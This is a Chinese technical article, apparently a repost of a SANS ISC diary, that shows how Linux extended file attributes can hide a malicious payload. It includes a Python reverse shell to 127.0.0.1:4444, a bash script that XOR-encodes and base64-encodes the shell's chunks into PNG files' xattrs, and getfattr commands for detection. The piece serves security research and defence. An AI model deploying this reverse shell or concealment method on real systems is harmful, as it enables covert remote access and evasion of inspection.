利用Linux扩展文件属性隐藏恶意负载的技术分析

在Linux扩展文件属性中隐藏负载

本周SANSFIRE[1]期间,作者参加了FOR5772培训。第二天课程涉及不同文件系统及其数据组织方式。在Linux生态中,多数文件系统(ext3/ext4/xfs等)支持"扩展文件属性"(xattr),该功能允许用户为文件添加元数据。这些数据不会直接展示给用户,可包含任意与文件相关的内容(如作者名、简要描述等)。该功能类似于Windows NTFS文件系统中的备用数据流(ADS)。

使用方式

Ubuntu系统通过"attr"软件包提供操作工具:

bash 复制代码
remnux@remnux:~/malwarezoo/xattr$ setfattr -n user.note -v "Hello ISC!" sample.txt 
remnux@remnux:~/malwarezoo/xattr$ getfattr -d -n "user.note" sample.txt 
# file: sample.txt
user.note="Hello ISC!"

注意属性前缀"user"称为类别(class),当前定义有四种类别:security、system、trusted和user。

恶意利用实验

课程讨论中产生了一个想法:"能否利用此存储空间隐藏恶意内容?"作者随后开发了概念验证(PoC),使用扩展属性存储经过处理的Python反向Shell代码。

负载编码方案

  1. 将负载分割为多个文件(每份32字节)
  2. 使用单字节密钥(0xFB)进行XOR加密
  3. Base64编码处理

示例负载是一个连接127.0.0.1:4444的Python反向Shell:

python 复制代码
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

编码脚本

bash 复制代码
#!/bin/bash
# 将负载编码到扩展属性中

PAYLOAD='import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

CHUNK_SIZE=32
CHUNKS=()
i=0
# 将负载分割为32字节的块
while [ $((i * CHUNK_SIZE)) -lt ${#PAYLOAD} ]; do
  CHUNK=${PAYLOAD:$((i * CHUNK_SIZE)):CHUNK_SIZE}
  CHUNKS+=("$CHUNK")
  ((i++))
done

# 编码并保存扩展属性
echo "Payload:"
echo $PAYLOAD
echo
echo "分块数量: ${#CHUNKS[@]}"
for idx in "${!CHUNKS[@]}"; do
  cp isc.png picture-$idx.png
  echo -n ${CHUNKS[$idx]} \
    | python3 -c "import sys; sys.stdout.buffer.write(bytes([b ^ 0xFB for b in sys.stdin.buffer.read()]))" \
    | base64 -w0 > tmp && mv tmp "picture-$idx.b64"
  echo "CHUNK$((idx + 1)) = ${CHUNK[$idx]} ($(cat picture-$idx.b64))"
  setfattr -n user.payload -v "$(cat picture-$idx.b64)" picture-$idx.png
  rm picture-$idx.b64
done

解码实现

作者用C语言编写了PoC程序[3],可提取并重组隐藏负载:

bash 复制代码
remnux@remnux:~/malwarezoo/xattr$ ./poc picture-0.png picture-1.png picture-2.png picture-3.png picture-4.png picture-5.png picture-6.png
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

防御检测方法

使用getfattr命令递归扫描系统:

bash 复制代码
remnux@remnux:~/malwarezoo$ getfattr -Rd -m- . | grep "^# file:" | cut -d ":" -f2
xattr/picture-2.png
xattr/picture-0.png
xattr/picture-5.png
xattr/picture-1.png
xattr/sample.txt
xattr/picture-3.png
xattr/picture-6.png
xattr/picture-4.png

需注意操作系统本身也会大量使用此功能,如存储POSIX ACL:

bash 复制代码
remnux@remnux:~/malwarezoo$ sudo getfattr -m- -d /var/log/journal
getfattr: Removing leading '/' from absolute path names
# file: var/log/journal
system.posix_acl_access=0sAgAAAAEABwD/////BAAFAP////8IAAUABAAAABAABQD/////IAAFAP////8=
system.posix_acl_default=0sAgAAAAEABwD/////BAAFAP////8IAAUABAAAABAABQD/////IAAFAP////8=

1\] [www.sans.org/cyber-secur...](https://link.juejin.cn?target=https%3A%2F%2Fwww.sans.org%2Fcyber-security-training-events%2Fsansfire-2025%2F "https://www.sans.org/cyber-security-training-events/sansfire-2025/") \[2\] [www.sans.org/cyber-secur...](https://link.juejin.cn?target=https%3A%2F%2Fwww.sans.org%2Fcyber-security-courses%2Flinux-threat-hunting-incident-response%2F "https://www.sans.org/cyber-security-courses/linux-threat-hunting-incident-response/") \[3\] [github.com/xme/SANS-IS...](https://link.juejin.cn?target=https%3A%2F%2Fgithub.com%2Fxme%2FSANS-ISC%2Fblob%2Fmaster%2Fxattr-poc.c "https://github.com/xme/SANS-ISC/blob/master/xattr-poc.c") ``` ```

相关推荐
2301_821919922 分钟前
机器学习概述(一)
人工智能·机器学习
果粒橙_LGC17 分钟前
自学大语言模型之Transformer的Tokenizer
人工智能·语言模型·transformer
我叫侯小科18 分钟前
机器学习-基础入门:从概念到核心方法论
人工智能·机器学习
boooo_hhh39 分钟前
第40周——GAN入门
人工智能·python·机器学习
武汉唯众智创1 小时前
AI智能家居技术应用实训室解决方案
人工智能·智能家居·智能家居实训室·ai智能家居技术应用实训室·ai实训室
双向331 小时前
提升10倍开发效率:最全AI开发工具链推荐与实战评测
人工智能
SKYDROID云卓小助手1 小时前
三轴云台之控制信号解析与执行
运维·服务器·网络·人工智能·信号处理
Young55662 小时前
RAG?你真的了解RAG吗?
人工智能·后端
嘀咕博客2 小时前
Autoppt-AI驱动的演示文稿生成工具
人工智能·ai工具